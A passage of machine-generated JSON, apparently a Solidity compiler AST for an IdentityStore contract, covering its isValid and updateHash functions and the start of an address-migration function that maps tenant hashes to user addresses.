"typeDescriptions": {
"typeIdentifier": "t_struct$_User_$94_storage_ptr",
"typeString": "struct IdentityStore.User"
}
},
"value": null,
"visibility": "internal"
}
],
"id": 233,
"initialValue": {
"argumentTypes": null,
"baseExpression": {
"argumentTypes": null,
"id": 230,
"name": "tenantAddressMapping",
"nodeType": "Identifier",
"overloadedDeclarations": [],
"referencedDeclaration": 98,
"src": "3528:20:0",
"typeDescriptions": {
"typeIdentifier": "t_mapping$_t_address_$_t_struct$_User_$94_storage_$",
"typeString": "mapping(address => struct IdentityStore.User storage ref)"
}
},
"id": 232,
"indexExpression": {
"argumentTypes": null,
"id": 231,
"name": "_userAddress",
"nodeType": "Identifier",
"overloadedDeclarations": [],
"referencedDeclaration": 213,
"src": "3549:12:0",
"typeDescriptions": {
"typeIdentifier": "t_address",
"typeString": "address"
}
},
"isConstant": false,
"isLValue": true,
"isPure": false,
"lValueRequested": false,
"nodeType": "IndexAccess",
"src": "3528:34:0",
"typeDescriptions": {
"typeIdentifier": "t_struct$_User_$94_storage",
"typeString": "struct IdentityStore.User storage ref"
}
},
"nodeType": "VariableDeclarationStatement",
"src": "3502:60:0"
},
{
"condition": {
"argumentTypes": null,
"commonType": {
"typeIdentifier": "t_bytes32",
"typeString": "bytes32"
},
"id": 241,
"isConstant": false,
"isLValue": false,
"isPure": false,
"lValueRequested": false,
"leftExpression": {
"argumentTypes": null,
"arguments": [
{
"argumentTypes": null,
"expression": {
"argumentTypes": null,
"id": 235,
"name": "currentUser",
"nodeType": "Identifier",
"overloadedDeclarations": [],
"referencedDeclaration": 229,
"src": "3619:11:0",
"typeDescriptions": {
"typeIdentifier": "t_struct$_User_$94_memory_ptr",
"typeString": "struct IdentityStore.User memory"
}
},
"id": 236,
"isConstant": false,
"isLValue": true,
"isPure": false,
"lValueRequested": false,
"memberName": "tenantId",
"nodeType": "MemberAccess",
"referencedDeclaration": 93,
"src": "3619:20:0",
"typeDescriptions": {
"typeIdentifier": "t_string_memory",
"typeString": "string memory"
}
}
],
"expression": {
"argumentTypes": [
{
"typeIdentifier": "t_string_memory",
"typeString": "string memory"
}
],
"id": 234,
"name": "keccak256",
"nodeType": "Identifier",
"overloadedDeclarations": [],
"referencedDeclaration": 523,
"src": "3609:9:0",
"typeDescriptions": {
"typeIdentifier": "t_function_sha3_pure$__$returns$_t_bytes32_$",
"typeString": "function () pure returns (bytes32)"
}
},
"id": 237,
"isConstant": false,
"isLValue": false,
"isPure": false,
"kind": "functionCall",
"lValueRequested": false,
"names": [],
"nodeType": "FunctionCall",
"src": "3609:31:0",
"typeDescriptions": {
"typeIdentifier": "t_bytes32",
"typeString": "bytes32"
}
},
"nodeType": "BinaryOperation",
"operator": "!=",
"rightExpression": {
"argumentTypes": null,
"arguments": [
{
"argumentTypes": null,
"id": 239,
"name": "_tenantId",
"nodeType": "Identifier",
"overloadedDeclarations": [],
"referencedDeclaration": 211,
"src": "3654:9:0",
"typeDescriptions": {
"typeIdentifier": "t_string_memory_ptr",
"typeString": "string memory"
}
}
],
"expression": {
"argumentTypes": [
{
"typeIdentifier": "t_string_memory_ptr",
"typeString": "string memory"
}
],
"id": 238,
"name": "keccak256",
"nodeType": "Identifier",
"overloadedDeclarations": [],
"referencedDeclaration": 523,
"src": "3644:9:0",
"typeDescriptions": {
"typeIdentifier": "t_function_sha3_pure$__$returns$_t_bytes32_$",
"typeString": "function () pure returns (bytes32)"
}
},
"id": 240,
"isConstant": false,
"isLValue": false,
"isPure": false,
"kind": "functionCall",
"lValueRequested": false,
"names": [],
"nodeType": "FunctionCall",
"src": "3644:20:0",
"typeDescriptions": {
"typeIdentifier": "t_bytes32",
"typeString": "bytes32"
}
},
"src": "3609:55:0",
"typeDescriptions": {
"typeIdentifier": "t_bool",
"typeString": "bool"
}
},
"falseBody": null,
"id": 245,
"nodeType": "IfStatement",
"src": "3606:97:0",
"trueBody": {
"id": 244,
"nodeType": "Block",
"src": "3666:37:0",
"statements": [
{
"expression": {
"argumentTypes": null,
"hexValue": "66616c7365",
"id": 242,
"isConstant": false,
"isLValue": false,
"isPure": true,
"kind": "bool",
"lValueRequested": false,
"nodeType": "Literal",
"src": "3687:5:0",
"subdenomination": null,
"typeDescriptions": {
"typeIdentifier": "t_bool",
"typeString": "bool"
},
"value": "false"
},
"functionReturnParameters": 219,
"id": 243,
"nodeType": "Return",
"src": "3680:12:0"
}
]
}
},
{
"condition": {
"argumentTypes": null,
"commonType": {
"typeIdentifier": "t_uint256",
"typeString": "uint256"
},
"id": 249,
"isConstant": false,
"isLValue": false,
"isPure": false,
"lValueRequested": false,
"leftExpression": {
"argumentTypes": null,
"expression": {
"argumentTypes": null,
"id": 246,
"name": "currentUser",
"nodeType": "Identifier",
"overloadedDeclarations": [],
"referencedDeclaration": 229,
"src": "3759:11:0",
"typeDescriptions": {
"typeIdentifier": "t_struct$_User_$94_memory_ptr",
"typeString": "struct IdentityStore.User memory"
}
},
"id": 247,
"isConstant": false,
"isLValue": true,
"isPure": false,
"lValueRequested": false,
"memberName": "timestamp",
"nodeType": "MemberAccess",
"referencedDeclaration": 91,
"src": "3759:21:0",
"typeDescriptions": {
"typeIdentifier": "t_uint256",
"typeString": "uint256"
}
},
"nodeType": "BinaryOperation",
"operator": "<",
"rightExpression": {
"argumentTypes": null,
"id": 248,
"name": "_minTimestamp",
"nodeType": "Identifier",
"overloadedDeclarations": [],
"referencedDeclaration": 215,
"src": "3783:13:0",
"typeDescriptions": {
"typeIdentifier": "t_uint256",
"typeString": "uint256"
}
},
"src": "3759:37:0",
"typeDescriptions": {
"typeIdentifier": "t_bool",
"typeString": "bool"
}
},
"falseBody": null,
"id": 253,
"nodeType": "IfStatement",
"src": "3756:79:0",
"trueBody": {
"id": 252,
"nodeType": "Block",
"src": "3798:37:0",
"statements": [
{
"expression": {
"argumentTypes": null,
"hexValue": "66616c7365",
"id": 250,
"isConstant": false,
"isLValue": false,
"isPure": true,
"kind": "bool",
"lValueRequested": false,
"nodeType": "Literal",
"src": "3819:5:0",
"subdenomination": null,
"typeDescriptions": {
"typeIdentifier": "t_bool",
"typeString": "bool"
},
"value": "false"
},
"functionReturnParameters": 219,
"id": 251,
"nodeType": "Return",
"src": "3812:12:0"
}
]
}
},
{
"expression": {
"argumentTypes": null,
"hexValue": "74727565",
"id": 254,
"isConstant": false,
"isLValue": false,
"isPure": true,
"kind": "bool",
"lValueRequested": false,
"nodeType": "Literal",
"src": "3852:4:0",
"subdenomination": null,
"typeDescriptions": {
"typeIdentifier": "t_bool",
"typeString": "bool"
},
"value": "true"
},
"functionReturnParameters": 219,
"id": 255,
"nodeType": "Return",
"src": "3845:11:0"
}
]
},
"documentation": null,
"id": 257,
"implemented": true,
"isConstructor": false,
"isDeclaredConst": true,
"modifiers": [],
"name": "isValid",
"nodeType": "FunctionDefinition",
"parameters": {
"id": 216,
"nodeType": "ParameterList",
"parameters": [
{
"constant": false,
"id": 211,
"name": "_tenantId",
"nodeType": "VariableDeclaration",
"scope": 257,
"src": "3270:16:0",
"stateVariable": false,
"storageLocation": "default",
"typeDescriptions": {
"typeIdentifier": "t_string_memory_ptr",
"typeString": "string"
},
"typeName": {
"id": 210,
"name": "string",
"nodeType": "ElementaryTypeName",
"src": "3270:6:0",
"typeDescriptions": {
"typeIdentifier": "t_string_storage_ptr",
"typeString": "string"
}
},
"value": null,
"visibility": "internal"
},
{
"constant": false,
"id": 213,
"name": "_userAddress",
"nodeType": "VariableDeclaration",
"scope": 257,
"src": "3297:20:0",
"stateVariable": false,
"storageLocation": "default",
"typeDescriptions": {
"typeIdentifier": "t_address",
"typeString": "address"
},
"typeName": {
"id": 212,
"name": "address",
"nodeType": "ElementaryTypeName",
"src": "3297:7:0",
"typeDescriptions": {
"typeIdentifier": "t_address",
"typeString": "address"
}
},
"value": null,
"visibility": "internal"
},
{
"constant": false,
"id": 215,
"name": "_minTimestamp",
"nodeType": "VariableDeclaration",
"scope": 257,
"src": "3327:21:0",
"stateVariable": false,
"storageLocation": "default",
"typeDescriptions": {
"typeIdentifier": "t_uint256",
"typeString": "uint256"
},
"typeName": {
"id": 214,
"name": "uint256",
"nodeType": "ElementaryTypeName",
"src": "3327:7:0",
"typeDescriptions": {
"typeIdentifier": "t_uint256",
"typeString": "uint256"
}
},
"value": null,
"visibility": "internal"
}
],
"src": "3260:89:0"
},
"payable": false,
"returnParameters": {
"id": 219,
"nodeType": "ParameterList",
"parameters": [
{
"constant": false,
"id": 218,
"name": "",
"nodeType": "VariableDeclaration",
"scope": 257,
"src": "3370:4:0",
"stateVariable": false,
"storageLocation": "default",
"typeDescriptions": {
"typeIdentifier": "t_bool",
"typeString": "bool"
},
"typeName": {
"id": 217,
"name": "bool",
"nodeType": "ElementaryTypeName",
"src": "3370:4:0",
"typeDescriptions": {
"typeIdentifier": "t_bool",
"typeString": "bool"
}
},
"value": null,
"visibility": "internal"
}
],
"src": "3369:6:0"
},
"scope": 428,
"src": "3244:619:0",
"stateMutability": "view",
"superFunction": null,
"visibility": "public"
},
{
"body": {
"id": 319,
"nodeType": "Block",
"src": "3981:680:0",
"statements": [
{
"expression": {
"argumentTypes": null,
"arguments": [
{
"argumentTypes": null,
"arguments": [
{
"argumentTypes": null,
"id": 268,
"name": "_oldHash",
"nodeType": "Identifier",
"overloadedDeclarations": [],
"referencedDeclaration": 259,
"src": "4021:8:0",
"typeDescriptions": {
"typeIdentifier": "t_bytes32",
"typeString": "bytes32"
}
}
],
"expression": {
"argumentTypes": [
{
"typeIdentifier": "t_bytes32",
"typeString": "bytes32"
}
],
"id": 267,
"name": "userTenantHashExists",
"nodeType": "Identifier",
"overloadedDeclarations": [],
"referencedDeclaration": 427,
"src": "4000:20:0",
"typeDescriptions": {
"typeIdentifier": "t_function_internal_view$_t_bytes32_$returns$_t_bool_$",
"typeString": "function (bytes32) view returns (bool)"
}
},
"id": 269,
"isConstant": false,
"isLValue": false,
"isPure": false,
"kind": "functionCall",
"lValueRequested": false,
"names": [],
"nodeType": "FunctionCall",
"src": "4000:30:0",
"typeDescriptions": {
"typeIdentifier": "t_bool",
"typeString": "bool"
}
},
{
"argumentTypes": null,
"hexValue": "4f6c64206861736820646f6573206e6f742065786973742e",
"id": 270,
"isConstant": false,
"isLValue": false,
"isPure": true,
"kind": "string",
"lValueRequested": false,
"nodeType": "Literal",
"src": "4032:26:0",
"subdenomination": null,
"typeDescriptions": {
"typeIdentifier": "t_stringliteral_b8700c17c6c187693f3b5aed9e32b4020bef3af87a53f2dfbedfc5d2ef1b0560",
"typeString": "literal_string \"Old hash does not exist.\""
},
"value": "Old hash does not exist."
}
],
"expression": {
"argumentTypes": [
{
"typeIdentifier": "t_bool",
"typeString": "bool"
},
{
"typeIdentifier": "t_stringliteral_b8700c17c6c187693f3b5aed9e32b4020bef3af87a53f2dfbedfc5d2ef1b0560",
"typeString": "literal_string \"Old hash does not exist.\""
}
],
"id": 266,
"name": "require",
"nodeType": "Identifier",
"overloadedDeclarations": [
532,
533
],
"referencedDeclaration": 533,
"src": "3992:7:0",
"typeDescriptions": {
"typeIdentifier": "t_function_require_pure$_t_bool_$_t_string_memory_ptr_$returns$__$",
"typeString": "function (bool,string memory) pure"
}
},
"id": 271,
"isConstant": false,
"isLValue": false,
"isPure": false,
"kind": "functionCall",
"lValueRequested": false,
"names": [],
"nodeType": "FunctionCall",
"src": "3992:67:0",
"typeDescriptions": {
"typeIdentifier": "t_tuple$__$",
"typeString": "tuple()"
}
},
"id": 272,
"nodeType": "ExpressionStatement",
"src": "3992:67:0"
},
{
"expression": {
"argumentTypes": null,
"arguments": [
{
"argumentTypes": null,
"id": 277,
"isConstant": false,
"isLValue": false,
"isPure": false,
"lValueRequested": false,
"nodeType": "UnaryOperation",
"operator": "!",
"prefix": true,
"src": "4077:31:0",
"subExpression": {
"argumentTypes": null,
"arguments": [
{
"argumentTypes": null,
"id": 275,
"name": "_newHash",
"nodeType": "Identifier",
"overloadedDeclarations": [],
"referencedDeclaration": 261,
"src": "4099:8:0",
"typeDescriptions": {
"typeIdentifier": "t_bytes32",
"typeString": "bytes32"
}
}
],
"expression": {
"argumentTypes": [
{
"typeIdentifier": "t_bytes32",
"typeString": "bytes32"
}
],
"id": 274,
"name": "userTenantHashExists",
"nodeType": "Identifier",
"overloadedDeclarations": [],
"referencedDeclaration": 427,
"src": "4078:20:0",
"typeDescriptions": {
"typeIdentifier": "t_function_internal_view$_t_bytes32_$returns$_t_bool_$",
"typeString": "function (bytes32) view returns (bool)"
}
},
"id": 276,
"isConstant": false,
"isLValue": false,
"isPure": false,
"kind": "functionCall",
"lValueRequested": false,
"names": [],
"nodeType": "FunctionCall",
"src": "4078:30:0",
"typeDescriptions": {
"typeIdentifier": "t_bool",
"typeString": "bool"
}
},
"typeDescriptions": {
"typeIdentifier": "t_bool",
"typeString": "bool"
}
},
{
"argumentTypes": null,
"hexValue": "4e6577206861736820697320616c726561647920726567697374657265642e",
"id": 278,
"isConstant": false,
"isLValue": false,
"isPure": true,
"kind": "string",
"lValueRequested": false,
"nodeType": "Literal",
"src": "4110:33:0",
"subdenomination": null,
"typeDescriptions": {
"typeIdentifier": "t_stringliteral_0ba289e2ad90e453db834a95ce678dd3931ad19c254b07b01da7cb9c678d4148",
"typeString": "literal_string \"New hash is already registered.\""
},
"value": "New hash is already registered."
}
],
"expression": {
"argumentTypes": [
{
"typeIdentifier": "t_bool",
"typeString": "bool"
},
{
"typeIdentifier": "t_stringliteral_0ba289e2ad90e453db834a95ce678dd3931ad19c254b07b01da7cb9c678d4148",
"typeString": "literal_string \"New hash is already registered.\""
}
],
"id": 273,
"name": "require",
"nodeType": "Identifier",
"overloadedDeclarations": [
532,
533
],
"referencedDeclaration": 533,
"src": "4069:7:0",
"typeDescriptions": {
"typeIdentifier": "t_function_require_pure$_t_bool_$_t_string_memory_ptr_$returns$__$",
"typeString": "function (bool,string memory) pure"
}
},
"id": 279,
"isConstant": false,
"isLValue": false,
"isPure": false,
"kind": "functionCall",
"lValueRequested": false,
"names": [],
"nodeType": "FunctionCall",
"src": "4069:75:0",
"typeDescriptions": {
"typeIdentifier": "t_tuple$__$",
"typeString": "tuple()"
}
},
"id": 280,
"nodeType": "ExpressionStatement",
"src": "4069:75:0"
},
{
"assignments": [
282
],
"declarations": [
{
"constant": false,
"id": 282,
"name": "currentAddress",
"nodeType": "VariableDeclaration",
"scope": 320,
"src": "4154:22:0",
"stateVariable": false,
"storageLocation": "default",
"typeDescriptions": {
"typeIdentifier": "t_address",
"typeString": "address"
},
"typeName": {
"id": 281,
"name": "address",
"nodeType": "ElementaryTypeName",
"src": "4154:7:0",
"typeDescriptions": {
"typeIdentifier": "t_address",
"typeString": "address"
}
},
"value": null,
"visibility": "internal"
}
],
"id": 286,
"initialValue": {
"argumentTypes": null,
"baseExpression": {
"argumentTypes": null,
"id": 283,
"name": "tenantHashMapping",
"nodeType": "Identifier",
"overloadedDeclarations": [],
"referencedDeclaration": 102,
"src": "4179:17:0",
"typeDescriptions": {
"typeIdentifier": "t_mapping$_t_bytes32_$_t_address_$",
"typeString": "mapping(bytes32 => address)"
}
},
"id": 285,
"indexExpression": {
"argumentTypes": null,
"id": 284,
"name": "_oldHash",
"nodeType": "Identifier",
"overloadedDeclarations": [],
"referencedDeclaration": 259,
"src": "4197:8:0",
"typeDescriptions": {
"typeIdentifier": "t_bytes32",
"typeString": "bytes32"
}
},
"isConstant": false,
"isLValue": true,
"isPure": false,
"lValueRequested": false,
"nodeType": "IndexAccess",
"src": "4179:27:0",
"typeDescriptions": {
"typeIdentifier": "t_address",
"typeString": "address"
}
},
"nodeType": "VariableDeclarationStatement",
"src": "4154:52:0"
},
{
"assignments": [
288
],
"declarations": [
{
"constant": false,
"id": 288,
"name": "oldUserInfo",
"nodeType": "VariableDeclaration",
"scope": 320,
"src": "4216:23:0",
"stateVariable": false,
"storageLocation": "memory",
"typeDescriptions": {
"typeIdentifier": "t_struct$_User_$94_memory_ptr",
"typeString": "struct IdentityStore.User"
},
"typeName": {
"contractScope": null,
"id": 287,
"name": "User",
"nodeType": "UserDefinedTypeName",
"referencedDeclaration": 94,
"src": "4216:4:0",
"typeDescriptions": {
"typeIdentifier": "t_struct$_User_$94_storage_ptr",
"typeString": "struct IdentityStore.User"
}
},
"value": null,
"visibility": "internal"
}
],
"id": 292,
"initialValue": {
"argumentTypes": null,
"baseExpression": {
"argumentTypes": null,
"id": 289,
"name": "tenantAddressMapping",
"nodeType": "Identifier",
"overloadedDeclarations": [],
"referencedDeclaration": 98,
"src": "4242:20:0",
"typeDescriptions": {
"typeIdentifier": "t_mapping$_t_address_$_t_struct$_User_$94_storage_$",
"typeString": "mapping(address => struct IdentityStore.User storage ref)"
}
},
"id": 291,
"indexExpression": {
"argumentTypes": null,
"id": 290,
"name": "currentAddress",
"nodeType": "Identifier",
"overloadedDeclarations": [],
"referencedDeclaration": 282,
"src": "4263:14:0",
"typeDescriptions": {
"typeIdentifier": "t_address",
"typeString": "address"
}
},
"isConstant": false,
"isLValue": true,
"isPure": false,
"lValueRequested": false,
"nodeType": "IndexAccess",
"src": "4242:36:0",
"typeDescriptions": {
"typeIdentifier": "t_struct$_User_$94_storage",
"typeString": "struct IdentityStore.User storage ref"
}
},
"nodeType": "VariableDeclarationStatement",
"src": "4216:62:0"
},
{
"assignments": [
294
],
"declarations": [
{
"constant": false,
"id": 294,
"name": "newUserInfo",
"nodeType": "VariableDeclaration",
"scope": 320,
"src": "4288:23:0",
"stateVariable": false,
"storageLocation": "memory",
"typeDescriptions": {
"typeIdentifier": "t_struct$_User_$94_memory_ptr",
"typeString": "struct IdentityStore.User"
},
"typeName": {
"contractScope": null,
"id": 293,
"name": "User",
"nodeType": "UserDefinedTypeName",
"referencedDeclaration": 94,
"src": "4288:4:0",
"typeDescriptions": {
"typeIdentifier": "t_struct$_User_$94_storage_ptr",
"typeString": "struct IdentityStore.User"
}
},
"value": null,
"visibility": "internal"
}
],
"id": 301,
"initialValue": {
"argumentTypes": null,
"arguments": [
{
"argumentTypes": null,
"id": 296,
"name": "_newHash",
"nodeType": "Identifier",
"overloadedDeclarations": [],
"referencedDeclaration": 261,
"src": "4319:8:0",
"typeDescriptions": {
"typeIdentifier": "t_bytes32",
"typeString": "bytes32"
}
},
{
"argumentTypes": null,
"id": 297,
"name": "_timestamp",
"nodeType": "Identifier",
"overloadedDeclarations": [],
"referencedDeclaration": 263,
"src": "4329:10:0",
"typeDescriptions": {
"typeIdentifier": "t_uint256",
"typeString": "uint256"
}
},
{
"argumentTypes": null,
"expression": {
"argumentTypes": null,
"id": 298,
"name": "oldUserInfo",
"nodeType": "Identifier",
"overloadedDeclarations": [],
"referencedDeclaration": 288,
"src": "4341:11:0",
"typeDescriptions": {
"typeIdentifier": "t_struct$_User_$94_memory_ptr",
"typeString": "struct IdentityStore.User memory"
}
},
"id": 299,
"isConstant": false,
"isLValue": true,
"isPure": false,
"lValueRequested": false,
"memberName": "tenantId",
"nodeType": "MemberAccess",
"referencedDeclaration": 93,
"src": "4341:20:0",
"typeDescriptions": {
"typeIdentifier": "t_string_memory",
"typeString": "string memory"
}
}
],
"expression": {
"argumentTypes": [
{
"typeIdentifier": "t_bytes32",
"typeString": "bytes32"
},
{
"typeIdentifier": "t_uint256",
"typeString": "uint256"
},
{
"typeIdentifier": "t_string_memory",
"typeString": "string memory"
}
],
"id": 295,
"name": "User",
"nodeType": "Identifier",
"overloadedDeclarations": [],
"referencedDeclaration": 94,
"src": "4314:4:0",
"typeDescriptions": {
"typeIdentifier": "t_type$_t_struct$_User_$94_storage_ptr_$",
"typeString": "type(struct IdentityStore.User storage pointer)"
}
},
"id": 300,
"isConstant": false,
"isLValue": false,
"isPure": false,
"kind": "structConstructorCall",
"lValueRequested": false,
"names": [],
"nodeType": "FunctionCall",
"src": "4314:48:0",
"typeDescriptions": {
"typeIdentifier": "t_struct$_User_$94_memory",
"typeString": "struct IdentityStore.User memory"
}
},
"nodeType": "VariableDeclarationStatement",
"src": "4288:74:0"
},
{
"expression": {
"argumentTypes": null,
"id": 306,
"isConstant": false,
"isLValue": false,
"isPure": false,
"lValueRequested": false,
"leftHandSide": {
"argumentTypes": null,
"baseExpression": {
"argumentTypes": null,
"id": 302,
"name": "tenantAddressMapping",
"nodeType": "Identifier",
"overloadedDeclarations": [],
"referencedDeclaration": 98,
"src": "4415:20:0",
"typeDescriptions": {
"typeIdentifier": "t_mapping$_t_address_$_t_struct$_User_$94_storage_$",
"typeString": "mapping(address => struct IdentityStore.User storage ref)"
}
},
"id": 304,
"indexExpression": {
"argumentTypes": null,
"id": 303,
"name": "currentAddress",
"nodeType": "Identifier",
"overloadedDeclarations": [],
"referencedDeclaration": 282,
"src": "4436:14:0",
"typeDescriptions": {
"typeIdentifier": "t_address",
"typeString": "address"
}
},
"isConstant": false,
"isLValue": true,
"isPure": false,
"lValueRequested": true,
"nodeType": "IndexAccess",
"src": "4415:36:0",
"typeDescriptions": {
"typeIdentifier": "t_struct$_User_$94_storage",
"typeString": "struct IdentityStore.User storage ref"
}
},
"nodeType": "Assignment",
"operator": "=",
"rightHandSide": {
"argumentTypes": null,
"id": 305,
"name": "newUserInfo",
"nodeType": "Identifier",
"overloadedDeclarations": [],
"referencedDeclaration": 294,
"src": "4454:11:0",
"typeDescriptions": {
"typeIdentifier": "t_struct$_User_$94_memory_ptr",
"typeString": "struct IdentityStore.User memory"
}
},
"src": "4415:50:0",
"typeDescriptions": {
"typeIdentifier": "t_struct$_User_$94_storage",
"typeString": "struct IdentityStore.User storage ref"
}
},
"id": 307,
"nodeType": "ExpressionStatement",
"src": "4415:50:0"
},
{
"expression": {
"argumentTypes": null,
"id": 311,
"isConstant": false,
"isLValue": false,
"isPure": false,
"lValueRequested": false,
"nodeType": "UnaryOperation",
"operator": "delete",
"prefix": true,
"src": "4522:34:0",
"subExpression": {
"argumentTypes": null,
"baseExpression": {
"argumentTypes": null,
"id": 308,
"name": "tenantHashMapping",
"nodeType": "Identifier",
"overloadedDeclarations": [],
"referencedDeclaration": 102,
"src": "4529:17:0",
"typeDescriptions": {
"typeIdentifier": "t_mapping$_t_bytes32_$_t_address_$",
"typeString": "mapping(bytes32 => address)"
}
},
"id": 310,
"indexExpression": {
"argumentTypes": null,
"id": 309,
"name": "_oldHash",
"nodeType": "Identifier",
"overloadedDeclarations": [],
"referencedDeclaration": 259,
"src": "4547:8:0",
"typeDescriptions": {
"typeIdentifier": "t_bytes32",
"typeString": "bytes32"
}
},
"isConstant": false,
"isLValue": true,
"isPure": false,
"lValueRequested": true,
"nodeType": "IndexAccess",
"src": "4529:27:0",
"typeDescriptions": {
"typeIdentifier": "t_address",
"typeString": "address"
}
},
"typeDescriptions": {
"typeIdentifier": "t_tuple$__$",
"typeString": "tuple()"
}
},
"id": 312,
"nodeType": "ExpressionStatement",
"src": "4522:34:0"
},
{
"expression": {
"argumentTypes": null,
"id": 317,
"isConstant": false,
"isLValue": false,
"isPure": false,
"lValueRequested": false,
"leftHandSide": {
"argumentTypes": null,
"baseExpression": {
"argumentTypes": null,
"id": 313,
"name": "tenantHashMapping",
"nodeType": "Identifier",
"overloadedDeclarations": [],
"referencedDeclaration": 102,
"src": "4610:17:0",
"typeDescriptions": {
"typeIdentifier": "t_mapping$_t_bytes32_$_t_address_$",
"typeString": "mapping(bytes32 => address)"
}
},
"id": 315,
"indexExpression": {
"argumentTypes": null,
"id": 314,
"name": "_newHash",
"nodeType": "Identifier",
"overloadedDeclarations": [],
"referencedDeclaration": 261,
"src": "4628:8:0",
"typeDescriptions": {
"typeIdentifier": "t_bytes32",
"typeString": "bytes32"
}
},
"isConstant": false,
"isLValue": true,
"isPure": false,
"lValueRequested": true,
"nodeType": "IndexAccess",
"src": "4610:27:0",
"typeDescriptions": {
"typeIdentifier": "t_address",
"typeString": "address"
}
},
"nodeType": "Assignment",
"operator": "=",
"rightHandSide": {
"argumentTypes": null,
"id": 316,
"name": "currentAddress",
"nodeType": "Identifier",
"overloadedDeclarations": [],
"referencedDeclaration": 282,
"src": "4640:14:0",
"typeDescriptions": {
"typeIdentifier": "t_address",
"typeString": "address"
}
},
"src": "4610:44:0",
"typeDescriptions": {
"typeIdentifier": "t_address",
"typeString": "address"
}
},
"id": 318,
"nodeType": "ExpressionStatement",
"src": "4610:44:0"
}
]
},
"documentation": null,
"id": 320,
"implemented": true,
"isConstructor": false,
"isDeclaredConst": false,
"modifiers": [],
"name": "updateHash",
"nodeType": "FunctionDefinition",
"parameters": {
"id": 264,
"nodeType": "ParameterList",
"parameters": [
{
"constant": false,
"id": 259,
"name": "_oldHash",
"nodeType": "VariableDeclaration",
"scope": 320,
"src": "3898:16:0",
"stateVariable": false,
"storageLocation": "default",
"typeDescriptions": {
"typeIdentifier": "t_bytes32",
"typeString": "bytes32"
},
"typeName": {
"id": 258,
"name": "bytes32",
"nodeType": "ElementaryTypeName",
"src": "3898:7:0",
"typeDescriptions": {
"typeIdentifier": "t_bytes32",
"typeString": "bytes32"
}
},
"value": null,
"visibility": "internal"
},
{
"constant": false,
"id": 261,
"name": "_newHash",
"nodeType": "VariableDeclaration",
"scope": 320,
"src": "3925:16:0",
"stateVariable": false,
"storageLocation": "default",
"typeDescriptions": {
"typeIdentifier": "t_bytes32",
"typeString": "bytes32"
},
"typeName": {
"id": 260,
"name": "bytes32",
"nodeType": "ElementaryTypeName",
"src": "3925:7:0",
"typeDescriptions": {
"typeIdentifier": "t_bytes32",
"typeString": "bytes32"
}
},
"value": null,
"visibility": "internal"
},
{
"constant": false,
"id": 263,
"name": "_timestamp",
"nodeType": "VariableDeclaration",
"scope": 320,
"src": "3952:18:0",
"stateVariable": false,
"storageLocation": "default",
"typeDescriptions": {
"typeIdentifier": "t_uint256",
"typeString": "uint256"
},
"typeName": {
"id": 262,
"name": "uint256",
"nodeType": "ElementaryTypeName",
"src": "3952:7:0",
"typeDescriptions": {
"typeIdentifier": "t_uint256",
"typeString": "uint256"
}
},
"value": null,
"visibility": "internal"
}
],
"src": "3888:83:0"
},
"payable": false,
"returnParameters": {
"id": 265,
"nodeType": "ParameterList",
"parameters": [],
"src": "3981:0:0"
},
"scope": 428,
"src": "3869:792:0",
"stateMutability": "nonpayable",
"superFunction": null,
"visibility": "internal"
},
{
"body": {
"id": 368,
"nodeType": "Block",
"src": "4757:478:0",
"statements": [
{
"assignments": [
330
],
"declarations": [
{
"constant": false,
"id": 330,
"name": "existingUser",
"nodeType": "VariableDeclaration",
"scope": 369,
"src": "4767:24:0",
"stateVariable": false,
"storageLocation": "memory",
"typeDescriptions": {
"typeIdentifier": "t_struct$_User_$94_memory_ptr",
"typeString": "struct IdentityStore.User"
},
"typeName": {
"contractScope": null,
"id": 329,
"name": "User",
"nodeType": "UserDefinedTypeName",
"referencedDeclaration": 94,
"src": "4767:4:0",
"typeDescriptions": {
"typeIdentifier": "t_struct$_User_$94_storage_ptr",
"typeString": "struct IdentityStore.User"
}
},
"value": null,
"visibility": "internal"
}
],
"id": 334,
"initialValue": {
"argumentTypes": null,
"baseExpression": {
"argumentTypes": null,
"id": 331,
"name": "tenantAddressMapping",
"nodeType": "Identifier",
"overloadedDeclarations": [],
"referencedDeclaration": 98,
"src": "4794:20:0",
"typeDescriptions": {
"typeIdentifier": "t_mapping$_t_address_$_t_struct$_User_$94_storage_$",
"typeString": "mapping(address => struct IdentityStore.User storage ref)"
}
},
"id": 333,
"indexExpression": {
"argumentTypes": null,
"id": 332,
"name": "oldUserAddress",
"nodeType": "Identifier",
"overloadedDeclarations": [],
"referencedDeclaration": 322,
"src": "4815:14:0",
"typeDescriptions": {
"typeIdentifier": "t_address",
"typeString": "address"
}
},
"isConstant": false,
"isLValue": true,
"isPure": false,
"lValueRequested": false,
"nodeType": "IndexAccess",
"src": "4794:36:0",
"typeDescriptions": {
"typeIdentifier": "t_struct$_User_$94_storage",
"typeString": "struct IdentityStore.User storage ref"
}
},
"nodeType": "VariableDeclarationStatement",
"src": "4767:63:0"
},
{
"expression": {
"argumentTypes": null,
"arguments": [
{
"argumentTypes": null,
"id": 339,
"isConstant": false,
"isLValue": false,
"isPure": false,
"lValueRequested": false,
"nodeType": "UnaryOperation",
"operator": "!",
"prefix": true,
"src": "4857:34:0",
"subExpression": {
"argumentTypes": null,
"arguments": [
{
"argumentTypes": null,
"id": 337,
"name": "newUserAddress",
"nodeType": "Identifier",
"overloadedDeclarations": [],
"referencedDeclaration": 324,
"src": "4876:14:0",
"typeDescriptions": {
"typeIdentifier": "t_address",
"typeString": "address"
}
}
],
"expression": {
"argumentTypes": [
{
"typeIdentifier": "t_address",
"typeString": "address"
}
],
"id": 336,
"name": "userAddressExists",
"nodeType": "Identifier",
"overloadedDeclarations": [],
"referencedDeclaration": 408,
"src": "4858:17:0",
"typeDescriptions": {
"typeIdentifier": "t_function_internal_view$_t_address_$returns$_t_bool_$",
"typeString": "function (address) view returns (bool)"
}
},
"id": 338,
"isConstant": false,
"isLValue": false,
"isPure": false,
"kind": "functionCall",
"lValueRequested": false,
"names": [],
"nodeType": "FunctionCall",
"src": "4858:33:0",
"typeDescriptions": {
"typeIdentifier": "t_bool",
"typeString": "bool"
}
},
"typeDescriptions": {
"typeIdentifier": "t_bool",
"typeString": "bool"
}
},
{
"argumentTypes": null,
"hexValue": "5468657265277320616c726561647920616e206163636f756e74207469656420746f20746869732061646472657373",
"id": 340,
"isConstant": false,
"isLValue": false,
"isPure": true,
"kind": "string",
"lValueRequested": false,
"nodeType": "Literal",
"src": "4893:49:0",
"subdenomination": null,
"typeDescriptions": {
"typeIdentifier": "t_stringliteral_d9560d649baa3d7d7d6686d1da4373048e51f0d0b91e83baff65cef3893b4f78",
